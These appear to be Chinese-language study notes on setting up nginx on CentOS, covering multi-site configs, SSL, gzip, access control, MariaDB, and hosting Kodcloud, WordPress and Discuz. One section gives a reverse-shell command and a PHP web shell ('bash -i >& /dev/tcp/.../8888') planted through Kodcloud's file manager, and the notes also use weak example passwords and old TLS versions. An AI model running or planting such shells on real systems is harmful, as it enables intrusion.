nginx使用

nginx使用

nginx是一款web服务器软件,用于管理web服务器

xshell文件上传不上去:yum -y install lrzsz

nginx的安装

安装epel源

yum install epel-release -y

安装nginx

yum install nginx -y

启动nginx

systemctl start nginx.service

设置服务开机自启

systemctl enable nginx.service

扩展命令

停止nginx服务

systemctl stop nginx.service

取消nginx服务开机自启

systemctl disable nginx.service

检查80端口服务是否开启

netstat -lntup

重启nginx 服务

systemctl restart nginx.service

检测nginx的语法是否正确

nginx -t

​ 显示以下输出,则说明语法正确

nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful

两个重要路径

nginx默认安装路径:

/etc/nginx/

该目录下有nginx的配置文件,其中有nginx.conf 和 nginx.conf.default,前者是nginx的主配置文件,后者是nginx配置文件的备份,往往以nginx.conf为主。

nginx的默认站点目录:

/usr/share/nginx/html

运行nginx网站

运行前检查

1.首先查看当前的系统的ip地址

ifconfig

运行以上命令可以得到ip地址,例如:192.168.152.155

2.然后查看80端口服务是否开启

netstat -lntp

运行以上命令则可以查看tcp协议的端口的开启状况,由于nginx的80端口属于tcp协议,所以这里就不用netstat -lntup命令了

3.关闭防火墙

systemctl stop firewalld.service

4.重启nginx服务

systemctl restart nginx.service

简单配置nginx文件

由于默认的nginx.conf配置文件中的内容多而杂,先目前阶段并不需要,所以这里做个简化,修改nginx.conf配置文件中的内容,后期不用担心,因为有nginx.conf.default备份文件。

重新编辑配置文件

grep -Ev '^$|#' /etc/nginx/nginx.conf.default > /etc/nginx/nginx.conf

然后重启nginx服务,每次修改配置文件都要重启一遍服务

systemctl restart nginx.service

再浏览器中打开主机的ip地址,即可访问到nginx默认的网页,浏览器默认是监听80端口的。

此时nginx.conf配置文件中的内容就是:

worker_processes  1;#启动nginx 进程的数量
events {
    worker_connections  1024; # 每个进程可处理的连接数量
}
http {
    include       mime.types;								#支持的多媒体格式
    default_type  application/octet-stream;					#默认以十进制的数据流
    charset utf-8;#设置字符集,防止中文乱码
    sendfile        on;
    keepalive_timeout  65;
    server {
        listen       80; 						# 监听端口
        server_name  localhost;# 网站的域名
        location / {
            root   html;					#站点根目录,默认是/usr/share/nginx/html
            index  index.html index.htm;    # 默认首页,从左往右识别
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }
    }
}

nginx多站点配置

多端口站点配置

首先准备两个网页,用于测试

在/usr/share/nginx/html 目录下新建名为2和3的文件下,分别在2和3文件夹下创建2.html和3.html文件

2.html

<html>
<head>
<title></title>
</head>

<body>

这里第二个网站

</body>
</html>

3.html

<html>
<head>
<title></title>
</head>

<body>

这里第二个网站

</body>
</html>

在nginx.conf配置文件中,可以存在多个网站,一个server对应一个网站,所以这里我们在配置文件中新增两个server

一个端口对应一个网站,这里81端口对应1.html ,82端口对应2.html

nginx.conf 配置文件如下

worker_processes  1;
events {
    worker_connections  1024;
}
http {
    include       mime.types;
    default_type  application/octet-stream;
    charset utf-8;#设置字符集,防止中文乱码
    server {
        listen       80;
        server_name  localhost;
        location / {
            root   html;
            index  index.html index.htm;
        }
    }
    
    # 第二个网站
    server {
        listen       81;
        server_name  localhost;
        location / {
            root   html/2;
            index  index.html index.htm 2.html;
        }
    }
    
    # 第三个网站
    server {
        listen       82;
        server_name  localhost;
        location / {
            root   html/3;
            index  index.html index.htm 3.html;
        }
    }
}

然后再重启nginx服务,分别访问81和82端口即可看到效果了。

如果访问不了端口,应该是防火墙的问题,执行以下命令

firewall-cmd --zone=public --add-port=端口号/tcp --permanent

然后重启防火墙,即可

systemctl restart firewalld.service

如果要关闭端口,可分别执行以下两个命令

sudo firewall-cmd --zone=public --remove-port=端口号/tcp --permanent
udo firewall-cmd --reload

多ip站点配置

centos7 下的多IP配置路径

vim /etc/sysconfig/network-scripts/ifcfg-ens33

修改配置内容

将原先的 BOOTPROTO=dhcp 改为 BOOTPROTO=static ,即 将自动获取ip改成手动配置ip ,然后往下面加IPADDR,例如,这里想加三个IP,即往后加IPADDR1=192.168.100.1 IPADDR2=192.168.100.2 IPADDR3=192.168.100.3。注意,要是自己的网段。

然后保存并退出配置文件

然后就可以用ipaddr查看ip的情况了。

TYPE=Ethernet
PROXY_METHOD=none
BROWSER_ONLY=no
BOOTPROTO=static # 原本这里是dhcp(动态IP) 现在改为static(静态IP)
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
IPV6INIT=yes
IPV6_AUTOCONF=yes
IPV6_DEFROUTE=yes
IPV6_FAILURE_FATAL=no
IPV6_ADDR_GEN_MODE=stable-privacy
NAME=ens33
UUID=f111c4db-5033-4c6e-b585-79a7ef480501
DEVICE=ens33
ONBOOT=yes
#示例
IPADDR1=192.168.100.1	
IPADDR2=192.168.100.2
IPADDR3=192.168.100.3
#……
#依次类推

修改nginx配置

worker_processes  1;
events {
    worker_connections  1024;
}
http {
    include       mime.types;
    default_type  application/octet-stream;
    charset utf-8;#设置字符集,防止中文乱码
    server {
        listen       192.168.100.1:80; # 改成自己配置的ip
        server_name  localhost;
        location / {
            root   html;
            index  index.html index.htm;
        }
    }
    
    # 第二个网站
    server {
        listen       192.168.100.2:80;# 改成自己配置的ip
        server_name  localhost;
        location / {
            root   html/2;
            index  index.html index.htm 2.html;
        }
    }
    
    # 第三个网站
    server {
        listen       192.168.100.3:80;# 改成自己配置的ip
        server_name  localhost;
        location / {
            root   html/3;
            index  index.html index.htm 3.html;
        }
    }
}

然后重启nginx就可以根据自己配置的ip访问对应的网站了。

多域名站点配置

原则上域名要从各大服务商选购并且备案才能在互联网上生效,但是如果仅在本地局域网内做测试,那就可以自己自定义了,也不需要备案了,但是作用域也仅在本地局域网内。

由于是我们自己随意配置的域名,所以很有可能与互联网上已经备案过的域名冲突,导致最终实现的结果不是自己想要的,所以这里修改了系统中的host配置文件。

windows系统下host默认位置在:C:\Windows\System32\drivers\etc

往host文件中添加的内容

本机ip地址	域名1 域名2 域名3

系统中的配置文件优先级大于证书中的域名,所以如果修改了系统中的配置文件,那么浏览器会优先从host文件中去匹配对应的网站,如果匹配不到,则会匹配备案后的网站。

修改nginx配置

worker_processes  1;
events {
    worker_connections  1024;
}
http {
    include       mime.types;
    default_type  application/octet-stream;
    charset utf-8;#设置字符集,防止中文乱码
    server {
        listen       80;
        server_name  a.dms.com; #修改成自己的域名
        location / {
            root   html;
            index  index.html index.htm;
        }
    }
    
    # 第二个网站
    server {
        listen       80;
        server_name  b.dms.com; #修改成自己的域名
        location / {
            root   html/2;
            index  index.html index.htm 2.html;
        }
    }
    
    # 第三个网站
    server {
        listen       80;
        server_name  c.dms.com; #修改成自己的域名
        location / {
            root   html/3;
            index  index.html index.htm 3.html;
        }
    }
}

然后重启nginx就可以根据自己配置的域名访问对应的网站了。

加载nginx配置文件

当我们一个nginx跑了多个网站时,如果把所以的网站都写入一个配置文件中,那么会显得很杂乱,不好维护,那么我们就可以引入外部配置文件,也就是让一个网站对应一个配置文件,这样就好维护了。

这里我们将配置文件统一存放在 /etc/nginx/conf.d/*.conf 目录下。

cd /etc/nginx/conf.d/

首先修改nginx.conf 配置文件,将文件中的内容清空,重新编辑,如下

worker_processes  1;#启动nginx 进程的数量
events {
    worker_connections  1024; # 每个进程可处理的连接数量
}
http {
    include       mime.types;								#支持的多媒体格式
    default_type  application/octet-stream;					#默认以十进制的数据流
    charset utf-8;#设置字符集,防止中文乱码
    include 	  /etc/nginx/conf.d/*.conf; 				#引入外部配置文件
}

为对应的网站创建对应的配置文件,这里我们一般以网站或者域名为名

例如,我们有三个网站,分别为 a.dms.com、b.dms.com、c.dms.com,那么我们便创建三个配置文件,分别为 a.dms.com.conf、b.dms.com.conf、c.dms.com.conf。

然后分别编辑三个配置文件,如下

# a.dms.com.conf 文件内容
server {
    listen       80;
    server_name  a.dms.com; #修改成自己的域名
    location / {
        root   html;
        index  index.html index.htm;
    }
}

然后其他配置文件依次类推。

最后重启nginx服务器,便可以访问对应的网站了。

当有多个网站的时候,如果域名不对,匹配不上资源,便会访问默认网站 可以在配置文件中的listen 80 后面使用default_server指定默认网站。

    listen       80 default_server;

nginx日志文件

默认日志文件

nginx 默认存放路径为 /var/log/nginx/

nginx默认配置文件的内容格式为:

log_format compression '$remote_addr - $remote_user [$time_local] '
                       '"$request" $status $bytes_sent '
                       '"$http_referer" "$http_user_agent" "$gzip_ratio"';
# $remote_addr 客户端的ip地址
# $remote_user 客户端的用户名
# [$time_local] 当前时间
# "$request"     请求起始行
# $status     http状态码
# $bytes_sent 资源的大小
# $http_referer 记录资源的跳转地址
# $http_user_agent 用户的终端信息
# $gzip_ratio     gzip的压缩级别

其中 compression 为格式名称,随便取,但尽量通俗易懂。

自定义日志文件

nginx默认的日志文件内容多,有时间我们只需要几个内容就好,所以这里我们可以自定义日志文件

在nginx.conf 配置文件中,必须在server上面,一般在include上面配置

自定义日志文件步骤:

​ 在servier{}上面使用 log_format 自定义名 '格式' ; 自定义格式

​ 在server_name localhost;下面使用 access_log 要存放的日志文件路径 自定义名 ; 来生效日志文件

worker_processes  1;
events {
    worker_connections  1024; 
}
http {
    include       mime.types;								
    default_type  application/octet-stream;					
    charset utf-8;
    sendfile        on;
    keepalive_timeout  65;
    log_format test '[$time_local] $remote_addr "$request" $status $bytes_sent';  # 自定义 日志文件 格式内容
    server {
        listen       80; 						
        server_name  localhost;
        access_log /var/log/nginx/a.dms.com_log test; #使用自定义格式
        location / {
            root   html;					
            index  index.html index.htm;    
        }
        error_page   500 502 503 504  /50x.html;
        location = /50x.html {
            root   html;
        }
    }
}

然后保存编辑好的配置文件,重启nginx即可。

basic认证配置

随便找一个专门生成htpasswd的网站用于生成账号密码,加密方式选择Crypt

例如:https://tool.lu/index.php/htpasswd/

往nginx配置文件中的想要设置的网站下的location / {} 内第一行添加以下代码

auth_basic "备注";
auth_basic_user_file 密码存放的路径;

例子:

……
location / {
auth_basic "qstack.com.cn";
auth_basic_user_file /etc/nginx/htpasswd;
root   html;					
index  index.html index.htm;    
}
……

创建一个文件夹用于,存放密码,配置密码,编辑htpasswd文件

vim /etc/nginx/htpasswd

写入刚刚生成的htpasswd,保存,然后重启nginx服务即可。

SSL证书配置

先向购买的服务商(比如 腾讯云,阿里云) 申请证书,应该会快就能申请下来,然后选择Nginx下载。下载下来的文件是个压缩包,在linux系统上找个地方存储来,比如/opt/cert目录下(没有这个目录,可以自己创建),然后用unzip 解压该文件夹,解压出来会是以_bundle.crt和.csr 和 _bundle.pem 和 .key 为结尾的文件。

然后修改网站对应的配置文件,添加信息如下:

server {
    #SSL 访问端口号为 443
   listen 443 ssl; 
    #填写绑定证书的域名
   server_name 自己申请证书的域名;  # 自己的域名
    #证书文件名称
   ssl_certificate 刚刚下载的crt文件的绝对路径; # crt文件的路径
    #私钥文件名称
   ssl_certificate_key 刚刚下载的key文件的绝对路径;  # key文件的路径
   ssl_session_timeout 5m;
  #请按照以下协议配置
   ssl_protocols TLSv1 TLSv1.1 TLSv1.2; 
#请按照以下套件配置,配置加密套件,写法遵循 openssl 标准。
   ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE; 
   ssl_prefer_server_ciphers on;
   location / {
    #网站主页路径。此路径仅供参考,具体请您按照实际目录操作。
       root html; 
       index index.html index.htm;
   }
}

这里,之前监听的端口都是80端口,那是http的端口,但是现在这里用的是https,那么对应的端口也就是443,所以这里监听443端口。

然后重启服务即可。

HTTP跳转HTTPS

在原本网站对应的配置文件中,再添加一个server ,监听端口为80
在location 里添加 return 302 https://域名$request_uri;

server {
    #SSL 访问端口号为 443
   listen 443 ssl; 
    #填写绑定证书的域名
   server_name 自己申请证书的域名;  # 自己的域名
    #证书文件名称
   ssl_certificate 刚刚下载的crt文件的绝对路径; # crt文件的路径
    #私钥文件名称
   ssl_certificate_key 刚刚下载的key文件的绝对路径;  # key文件的路径
   ssl_session_timeout 5m;
  #请按照以下协议配置
   ssl_protocols TLSv1 TLSv1.1 TLSv1.2; 
#请按照以下套件配置,配置加密套件,写法遵循 openssl 标准。
   ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE; 
   ssl_prefer_server_ciphers on;
   location / {
    #网站主页路径。此路径仅供参考,具体请您按照实际目录操作。
       root html; 
       index index.html index.htm;
   }
}

#使用return跳转
server {
       access_log off;
       listen       80;
       server_name 自己申请证书的域名;
       location / {
           return       302 https://自己申请证书的域名$request_uri;
       }
 }

nginx的gzip压缩

为了防止网站的过大的流量造成的高额的流量费用,一般情况下会采用压缩的方式,将文件的大小减少以来减少流量的消耗。

在网站的配置文件中的location中添加以下代码:

	   gzip on;                 #开启gzip压缩
       gzip_min_length 1k;     #最小压缩文件
       gzip_buffers     4 32k;  #内存缓冲
       gzip_http_version 1.1;   #http版本
       gzip_comp_level 9;       #压缩等级
       gzip_types text/html text/css text/xml application/javascript;  #压缩w类型
       gzip_vary on;    #http响应头添加gzip标识
       gzip_disable "MSIE [1-7]\.";   #遇到IE浏览器1-7取消gzip压缩
       autoindex on;
       autoindex_exact_size off;

例如:

……        
location / {
    		   gzip on;                 #开启gzip压缩
               gzip_min_length 1k;     #最小压缩文件
               gzip_buffers     4 32k;  #内存缓冲
               gzip_http_version 1.1;   #http版本
               gzip_comp_level 9;       #压缩等级
               gzip_types text/html text/css text/xml application/javascript;  #压缩w类型
               gzip_vary on;    #http响应头添加gzip标识
               gzip_disable "MSIE [1-7]\.";   #遇到IE浏览器1-7取消gzip压缩
       		autoindex on;
       		autoindex_exact_size off;
            root   html;					
            index  index.html index.htm;    
        }
……

然后重启服务即可。

压缩过文件的网站,浏览器中的Response Headers 会显示:Content-Encoding:gzip

目录浏览功能

往网站配置文件中添加以下参数

autoindex on; 				# 网站目录浏览功能
autoindex_exact_size off;

例如:

……    
server {
        listen       80; 						
        server_name  localhost;
       	autoindex on; 				# 网站目录浏览功能
       	autoindex_exact_size off;    	
        location / {
            root   html;					
            index  index.html index.htm;    
        }
    }

……

重启服务即可。

nginx的访问限制

nginx的访问限制实际上就是对传输层或者应用层进行操作。

对传输层的操作,便是禁用ip,效果就是被禁用的ip就访问不了服务器上的所有网站。

firewall-cmd --add-rich-rule='rule family=ipv4 source address="要禁用的ip" drop'

对应用层的操作,便是采用黑名单和白名单的模式

在网站配置文件中,使用 deny ip; 拉黑,allow ip; 允许

例如:黑名单模式

	……
    server {
        listen       80; 						
        server_name  localhost;
    	deny 192.168.100.1; # 黑名单的ip
		allow 0.0.0.0/0; # 白名单ip
        location / {
            root   html;					
            index  index.html index.htm;    
        }
    }
	……

出现的效果就是,就192.168.100.1不能访问网站

例如:白名单模式

	……
    server {
        listen       80; 						
        server_name  localhost;
    	deny 0.0.0.0/0; # 黑名单ip
		allow 192.168.100.1; # 白名单ip
        location / {
            root   html;					
            index  index.html index.htm;    
        }
    }
	……

出现的效果就是,只有192.168.100.1能访问网站

allow deny 都可以多个

改完配置文件重启,会提示警告,可以不用理会

location优先级

一个配置文件可以有多个location

例如,本来访问网站的网址是a.com,配置文件中是location / {} ,但是我想通过 a.com/a 访问另外一个网站,就可以将配置文件改成
loaction /a {} 就行了

匹配

 #没有符号,代表模糊匹配,不支持正则 location /te 可以匹配te开头的目录和文件
~   #表示执行一个正则匹配,区分大小写
~*  #表示执行一个正则匹配,不区分大小写
=   #针对的是文件,精准匹配,不支持正则

匹配优先级

符号优先级 = 大于   ~ 大于 ~* 大于 无符号
touch jpg
#配置文件例子:
   location = /jpg {
       return 500;
   }
   location ^~ /jpg {
       return 501;
   }
   location ~ /jpg {
       return 504;
   }
   location ~* /Jpg {
       return 503;
   }

防盗链

为了防止其他人利用网址将自己的资源挂在他人网站而产生的流量费用,这里采用防盗链的方式,防止别人用src的形式挂载我们的网站资源。实现逻辑就是,对自己的网站添加限制,如果用户通过其他网站访问我们的资源地址的上一个页面不是我们网站的页面,就给禁止访问,必须通过我们自己的网站访问。

在server中添加以下代码

location ~* \.png$ {
    if ($http_referer !~* "自己的网址的域名") {
        return 403;
    }
}

然后将

 root   网站的资源路径;					
 index  index.html index.htm; 

放到 location / {} 的外面,方便全局访问,然后重启服务即可。

**BUG:**这里还有个小bug没有解决,就是用户直接通过通过url访问我们网站的图片,也是禁止访问。

中英文网站自动匹配

可以利用 $http_accept_language 来自动识别浏览器的语言设置,如果浏览器的语言是英文,那就访问自己的英文网站,如果是中文,则访问中文。但是得自己准备好不同语言的网站。方法不唯一。

server {
   listen 80;
   server_name yuyan.com; 
   index index.htm index.html; 
   location / {
     if ( $http_accept_language ~* ^en ) {
   	root 自己准备的英文网站;
 }     
     root 自己准备的中文网站;
 }       
}

重启服务即可。

nginx + php安装可道云个人网盘

可道云是一款可以搭建个人网盘的网站,我们可以从网站上下载源码包,放在自己的服务器上运行

安装php-fpm

yum install php-fpm php-mbstring php-mysqlnd php-gd -y

编辑配置文件

vim /etc/php-fpm.d/www.conf

将配置文件中的user = apache 和 group = apache 的apache 都改成nginx,大概在39行到41行的位置

# 原本的配置
user = apache
group = apache

#修改后
user = nginx
group = nginx

启动服务

systemctl start php-fpm.service

设置开机自启

systemctl enable php-fpm.service

此时用 netstat -lntup 查看 会有个9000的端口启动

在nginx的默认站点路径下创建一个文件夹,用于存放下载的可道云源码

mkdir /usr/share/nginx/html/kod

访问官网下载

https://kodcloud.com/download/

选择程序包下载,下载源码,下载下来的是个压缩包,将压缩包上传到linux系统下的 /html/kod 目录下,然后用 unzip 可道云压缩包名 解压可道云的源码。

创建可道云的站点配置文件

vim /etc/nginx/conf.d/kod.com.conf

往里面写入

格式(可忽略):

#可道云个人网盘
server {
    listen 81; # 这里采用端口的站点配置
    server_name localhost;
    location / {
        root 可道云源码的绝对路径;
        index index.php index.html index.htm;
    }
    location ~ \.php$ {
        root /usr/share/nginx/html/kod;
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME 可道云的源码的绝对路径$fastcgi_script_name;
        include    fastcgi_params;
    }
}

例子(必看):

#可道云个人网盘
server {
    listen 83;
    server_name localhost;
    location / {
        root /usr/share/nginx/html/kod;
        index index.php index.html index.htm;
    }
    location ~ \.php$ {
        root /usr/share/nginx/html/kod;
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/kod$fastcgi_script_name;
        include    fastcgi_params;
    }
}

扩充(可忽略):

​ 由于上面用到的是多端口站点配置,所以要开启83端口的防火墙服务,如果采用的是多域名或者多ip的站点配置,则不需要这步骤

firewall-cmd --zone=public --add-port=83/tcp --permanent

重启nginx服务

systemctl restart nginx.service

进入到可道云的安装目录下

cd /usr/share/nginx/html/kod

将当前目录下的文件root权限全改为nginx的权限

chown -R nginx:nginx .

然后访问ip:80就可以看到可道云个人网盘网站了,第一次访问会要求设置用户名和密码。

可道云之反弹shell

在管理员的权限下以及system函数开放的情况下

安装nc

yum install nc -y 

先用nc监听端口:

nl -l 要监听的端口

例如监听 8888 :

nl -l 8888

反弹shell的命令

bash -i >& /dev/tcp/本机ip/监听的端口 0>&1

例如:

​ 利用可道云 新建一个1.php文件,往里面写入以下代码,这里以8888端口为例子

<?php system("bash -i >& /dev/tcp/本机ip/8888 0>&1"); ?>

然后用内部地址访问1.php文件
然后返回终端查看,发现连上了,可以尝试执行些命令,如果执行不了,可能是因为权限的问题

linux下安装mariadb

其实mariadb数据库跟mysql数据库是一个数据库,但又不是一个数据库,说是一个数据库,其实mariadb和mysql这两个数据库的用法是一样的,但说不是数据库,是因为这两个数据库是独立的数据库。为什么会有这种情况呢,那是因为历史的问题。

在mysql之前,有个非常流行的数据库Oracle数据库,但是它是收费的,为了有个免费的数据库,因此有家公司开发了类似oracle的数据库,并且是开源免费的,在免费的优势下,Oracle的用户逐渐流失,mysql的用户不断的扩张,oracle公司见此不妙,于是便以约十亿美金收购了mysql数据库,但是它目前还是开源免费的,但归属权归属Oracle,也就是说oracle随时可以选择收费,但是目前没有收费,为此,开发mysql公司的人又开发了mariadb数据库,由于是同一个人开发的,所以这个两个数据库除了名字不一样之外,使用功能都是一样的。

mariadb数据库分为服务端和客户端。

安装mariadb数据库

yum install mariadb-server mariadb  -y

启动服务

systemctl start mariadb

设置开机自启服务

systemctl enable mariadb

mariadb的授权

grant all on 数据库名.* to 用户名@'自己的网段.%' identified by '密码';

例如:

grant all on wordpress.* to wordpress@'10.0.0.%' identified by '123456';

使用普通用户登录/远程登录

mysql -u 用户名 -p密码 -h 目标ip

例如:

mysql -u wordpress -p123456 -h 10.0.0.100

安全初始化mysql

mysql_secure_installation

回车,n,一路y即可。

设置root密码

ALTER USER 'root'@'localhost' IDENTIFIED BY '新密码';

安装nginx+wordpress

进入到 wordpress官网下载linux系统的源码安装包。

wordpress源码下载官网:https://cn.wordpress.org/download/

这里我下载的版本是 :wordpress-6.4.3-zh_CN.tar.gz

进入到nginx 默认站点目录

cd /usr/share/nginx/html

在此目录下 创建一个名为wordpress文件夹的目录,用于存放wordpress源码

mkdir wordpress

然后进入到该目录下

cd wordpress

将刚刚下载好的安装包上传到此目录下,然后解压

tar -zxvf wordpress-6.4.3-zh_CN.tar.gz

编辑nginx主配置文件

vim /etc/nginx/nginx.conf

在大概第八行下面添加以下代码,也就是在server上

include /etc/nginx/conf.d/*.conf;   #引入外部配置文件

然后保存文件并退出

进入到nginx站点配置文件夹下

cd /etc/nginx/conf.d

给wordpress 创建一个站点配置文件

touch wordpress.com.conf

然后编辑该文件

vim wordpress.com.conf

往 wordpress.com.conf 里面写入

#wordpress

# /usr/share/nginx/html/wordpress

server {
    listen 84;
    server_name localhost;
    location / {
        root /usr/share/nginx/html/wordpress/wordpress;
        index index.php index.html index.htm;
    }
    location ~ \.php$ {
        root /usr/share/nginx/html/wordpress/wordpress;
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/wordpress/wordpress$fastcgi_script_name;
        include    fastcgi_params;
    }
}

进入到wordpress源码目录

cd /usr/share/nginx/html/wordpress/wordpress

给wordpress下的所有文件授予nginx权限

chown -R nginx:nginx .

然后重启nginx服务即可

说明:这里用的是多端口的站点配置,所以访问的话,

依次执行以下两个命令

firewall-cmd --zone=public --add-port=84/tcp --permanent
systemctl restart firewalld.service

然后用 本机ip:84 的形式在浏览器上访问

小问题

如果出现Your server is running PHP version 5.4.16 but WordPress 6.4.1 requires at least 7.0.0. 问题

原因:您的服务器正在运行PHP版本5.4.16,但WordPress 6.4.1需要至少7.0.0版本的PHP。因此,需要升级PHP版本以使其与WordPress兼容。

可依次执行以下命令

(1)

yum -y install http://rpms.remirepo.net/enterprise/remi-release-7.rpm

(2)

yum-config-manager --enable remi-php70

(3)

yum install php php-common php-opcache php-mcrypt php-cli php-gd php-curl php-mysqlnd

(4)

php -v

然后重启nginx服务即可

wordpress初始化配置

由于上面 安装了 mariadb 数据库,现在可以拿来用了

由于上面只是安装了,并没有对其作任何操作,所以这里直接登录即可,不需要密码

mysql

然后创建一个库

create database wordpress;

创建一个普通用户,并且授予其权限

grant all on wordpress.* to wordpress@'192.168.152.%' identified by '123456';

上面这段代码的意思是,创建了一个名为wordpress用户,密码为123456,权限只能对名为wodpress库进行操作,其中192.168.152是我自己的ip,大家根据自己的情况修改。

然后可以尝试用以下命令 登录到普通用户

mysql -u wordpress -p123456 -h linxu的ip

此时访问 本机ip:84 即可访问到主页

点击 现在就开始,会让填写 数据库名 用户名 密码 数据库主机,根据以下写入

数据库名:wordpress 
用户名:wordpress 
密码:123456 
数据库主机: linux系统的ip

然后点击提交,可能会让你创建一个文件,并往里面写入些东西,照着做就完事了。

然后下一步会让填写 站点标题 用户名 密码 邮箱等,随便填,自己记住就好,然后点击安装WordPress

安装成功后,填写自己刚刚设置的用户名和密码,登录即可。这里我喜欢用 账号:admin 密码123 注册登录。

安装 nginx + discuz

安装discuz

首先使用命令进入到数据库,由于上面没有设置密码,所以目前可以直接免密登录

mysql

创建一个数据库:

create database discuz;

创建普通账号并授权:

grant all on discuz.* to discuz@'192.168.20.%' identified by  '123456';

获取discuz源码:

https://gitee.com/3dming/DiscuzL/attach_files

下载discuz的源码,在 /usr/share/nginx/html 目录下创建 discuz 文件夹 用于存放discuz的源码,并且将下载的上传源码上传到该目录下,然后用uzip 命令解压,我这里下载的文件名叫Discuz_X3.5_SC_UTF8_20231001.zip。代码依次如下

cd /usr/share/nginx/html
mkdir discuz
cd discuz

将文件上传到此目录下

unzip Discuz_X3.5_SC_UTF8_20231001.zip

进入到 配置文件存放目录

cd /etc/nginx/conf.d

创建并编辑discuz配置文件

vim discuz.com.conf

写入以下代码

#discuz论坛

# /usr/share/nginx/html/discuz/upload

server {
    listen 85;
    server_name localhost;
    location / {
        root /usr/share/nginx/html/discuz/upload;
        index index.php index.html index.htm;
    }
    location ~ \.php$ {
        root /usr/share/nginx/html/discuz/upload;
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/discuz/upload$fastcgi_script_name;
        include    fastcgi_params;
    }
}

进入到discuz的源码存放目录下,授权nginx,命令依次如下

cd /usr/share/nginx/html/discuz
chown -R nginx:nginx .

说明:这里用的是多端口的站点配置,所以访问的话,

依次执行以下两个命令

firewall-cmd --zone=public --add-port=85/tcp --permanent
systemctl restart firewalld.service

然后用 本机ip:85 的形式在浏览器上访问,根据安装向导进行安装

如果遇到

​ xml_parser_create() 不支持 该函数需要 PHP 支持 XML 。请联系服务商,确定开启了此项功能

可以执行以下命令

yum install php-xml

然后重启 php-fpm 服务,即可

service php-fpm restart

当进入到创建数据库的页面时,数据库密码,由于上面没有设置,所以留空,管理员账号密码,这里个人比较喜欢均为admin。

伪静态配置

将动态网站伪装成静态网站,虽然访问速度满不安全,但是方便SEO

discuz配置伪静态:
登录discuz ,打开管理中心 ,登录进去,点击上面全局,点击左侧SEO设置,然后点击上面URL静态化,
将中间的 页面 标记 格式 全勾上 然后提交

点击查看当前Rewrite 规则,下滑,找到nginx Web Server的规则,并复制下来

打开discuz的站点配置文件
将刚刚复制nginx Web Server规则 添加到 loaction /{} 中,完整配置文件如下

#discuz论坛

# /usr/share/nginx/html/discuz

server {
    listen 85;
    server_name localhost;
        location / {
        rewrite ^([^\.]*)/topic-(.+)\.html$ $1/portal.php?mod=topic&topic=$2 last;
        rewrite ^([^\.]*)/article-([0-9]+)-([0-9]+)\.html$ $1/portal.php?mod=view&aid=$2&page=$3 last;
        rewrite ^([^\.]*)/forum-(\w+)-([0-9]+)\.html$ $1/forum.php?mod=forumdisplay&fid=$2&page=$3 last;
        rewrite ^([^\.]*)/thread-([0-9]+)-([0-9]+)-([0-9]+)\.html$ $1/forum.php?mod=viewthread&tid=$2&extra=page%3D$4&page=$3 last;
        rewrite ^([^\.]*)/group-([0-9]+)-([0-9]+)\.html$ $1/forum.php?mod=group&fid=$2&page=$3 last;
        rewrite ^([^\.]*)/space-(username|uid)-(.+)\.html$ $1/home.php?mod=space&$2=$3 last;
        rewrite ^([^\.]*)/blog-([0-9]+)-([0-9]+)\.html$ $1/home.php?mod=space&uid=$2&do=blog&id=$3 last;
        rewrite ^([^\.]*)/archiver/(fid|tid)-([0-9]+)\.html$ $1/archiver/index.php?action=$2&value=$3 last;
        rewrite ^([^\.]*)/([a-z]+[a-z0-9_]*)-([a-z0-9_\-]+)\.html$ $1/plugin.php?id=$2:$3 last;
        if (!-e $request_filename) {
        	return 404;
        }
        root /usr/share/nginx/html/discuz/upload;
        index index.php index.html index.htm;
    }
    location ~ \.php$ {
        root /usr/share/nginx/html/discuz/upload;
        fastcgi_pass  127.0.0.1:9000;
        fastcgi_index index.php;
        fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/discuz/upload$fastcgi_script_name;
        include    fastcgi_params;
    }
}

然后保存并退出文件,然后重启nginx服务

nginx的正向代理

配置在客户端的代理叫正向代理,配置在服务端的代理叫反向代理

首先准备一台服务器(可能需要点成本),并记录下ip,随便放行个端口,例如 8888
在新的服务器,安装配置下nginx

往主配置文件中 http {}中 添加以下代码,但这种方式只支持http协议

server {
	resolver 223.5.5.5;
	listen 8888; #任意开放的端口
	location / {
		proxy_pass http://$host$request_uri;
		proxy_set_header HOST $host;
		proxy_buffers 256 4k;
		proxy_max_temp_file_size ok;
		proxy_connect_timeout 30;
		proxy_send_timeout 60;
		proxy_read_timeout 60;
		proxy_next_upstream error timeout invalid_header http_502;
	}
}

在浏览器上配置代理,服务器的ip:8888,其中8888端口是上面刚刚打开的
然后访问任意网站,此时日志文件记录的ip就是服务器的代理ip,不会是自己本机的ip

搭建lnmp环境

下载环境资源

yum install epel-release.noarch -y 
yum install nginx php-fpm php-mbstring.x86_64 php-gd.x86_64 php-mysqlnd.x86_64 mariadb-server.x86_64 -y 

启动mariadb数据库服务,并设置开机自启

systemctl start mariadb.service
systemctl enable mariadb.service

mysql安全初始化

mysql_secure_installation

执行该命令 会提示是否设置root密码,n表示不设置,y表示设置

修改phph-fpm配置文件

vim /etc/php-fpm.d/www.conf 	

将配置文件中的user = apache 和 group = apache 的apache 都改成nginx,大概在39行到41行的位置

# 原本的配置
user = apache
group = apache

#修改后
user = nginx
group = nginx

wordperss 配置静态网页

步骤:设置-》固定连接-》可以选择数字型-》保存

在nginx 网站配置文件中的localhost / {}中添加以下代码
try_files $uri u r i / / i n d e x . p h p ? uri/ /index.php? uri//index.php?args ;

#wordpress

# /usr/share/nginx/html/wordpress

server {
    listen 84;
    server_name localhost;
    location / {
        try_files $uri $uri/ /index.php?$args ;
        root /usr/share/nginx/html/wordpress/wordpress;
        index index.php index.html index.htm;
    }
    location ~ \.php$ {
